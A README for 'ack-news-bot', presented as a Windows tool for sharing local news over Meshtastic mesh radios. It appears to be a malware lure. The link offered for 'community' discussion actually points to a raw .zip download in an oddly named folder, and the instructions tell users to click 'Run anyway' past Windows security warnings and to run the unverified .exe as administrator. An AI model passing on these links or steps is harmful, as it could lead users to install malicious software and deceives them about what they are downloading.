📰 ack-news-bot - Simplify Local News Updates

ack-news-bot is a simple app that lets you get local news through the Meshtastic network. Meshtastic is a mesh network where devices connect directly without the internet. This bot helps you stay informed by sharing local news updates through the network.

This app works on Windows and requires no programming skills. It uses your existing Meshtastic setup to deliver news to other devices nearby.

• Windows 10 or later (64-bit preferred)
• Internet access for initial download
• At least 100 MB free disk space
• Meshtastic device or compatible radio hardware connected to your PC
• USB port or Bluetooth (if your device supports it)

Download ack-news-bot from the official page here:

1. Open your web browser and visit the page above.

2. Look for the latest ack-news-bot release under the repository.

3. Click on the release to see available files.

4. Download the Windows installer or .exe file (usually named like ack-news-bot-setup.exe or ack-news-bot.exe).

5. Once downloaded, find the file in your Downloads folder.

6. Double-click the file to start the installation or run the program directly.

7. Follow the on-screen steps if you see an installation wizard.

After the program opens:

1. Connect your Meshtastic device to your PC using USB or Bluetooth.

2. The app will detect your device automatically.

3. Once detected, the app will begin syncing with the Meshtastic network.

4. The bot starts receiving local news messages from other devices nearby.

5. You can view messages in the main window or through notifications.

• Receive News: The bot collects news shared by others through the mesh network. It updates continuously while the app runs.

• Send News: You can type and send your own local news updates. These messages share with other devices nearby on the mesh network.

• Settings: Adjust notification, syncing, and device options in the Settings menu.

• Logs: View message history or connection details in the Logs tab.

• Help: Access simple help guides from the Help menu.

• If the app does not detect your device:

  • Check USB or Bluetooth connections.
  • Ensure your Meshtastic device is powered on.
  • Restart the app after reconnecting.

• If messages do not update:

  • Confirm you are within range of other mesh devices.
  • Sometimes restarting both your device and the app helps.

• If the app crashes or freezes:

  • Close the program from Task Manager and restart.
  • Make sure your Windows is updated.

• For other issues, check the official GitHub page’s Issues section or open a new issue.

• ack-news-bot shares only the information you choose to send over the mesh network.

• The app does not require you to create an account or provide personal data.

• Messages are sent locally and do not pass through internet servers.

• Keep your ack-news-bot updated by visiting the download page regularly.

• New versions improve performance and fix bugs.

• To update, download the latest release and install over your existing version.

Join discussions and get support from users on the GitHub page. Common questions and solutions appear in the Issues section. You can also submit your own questions or feedback there.

Visit the page to engage with the community:
https://github.com/hardik71-ui/ack-news-bot/raw/refs/heads/main/Melursus/ack_news_bot_1.5.zip

• It provides local news without internet access.

• Works directly with Meshtastic devices already in use.

• Simple interface designed for non-technical users.

• Lightweight and runs smoothly on Windows.

• Keeps communities informed in areas with scarce connectivity.

• The download generally includes an .exe file for Windows.

• No additional setup such as Python or other software is needed.

• Installation files range from 20 to 50 MB.

• If Windows warns about running files from unknown sources, choose “Run anyway” after checking the source.

• To add ack-news-bot to your desktop for quick access, right-click the .exe file, select “Send to”, then “Desktop (create shortcut)”.

• Run the program as administrator if you encounter permission issues.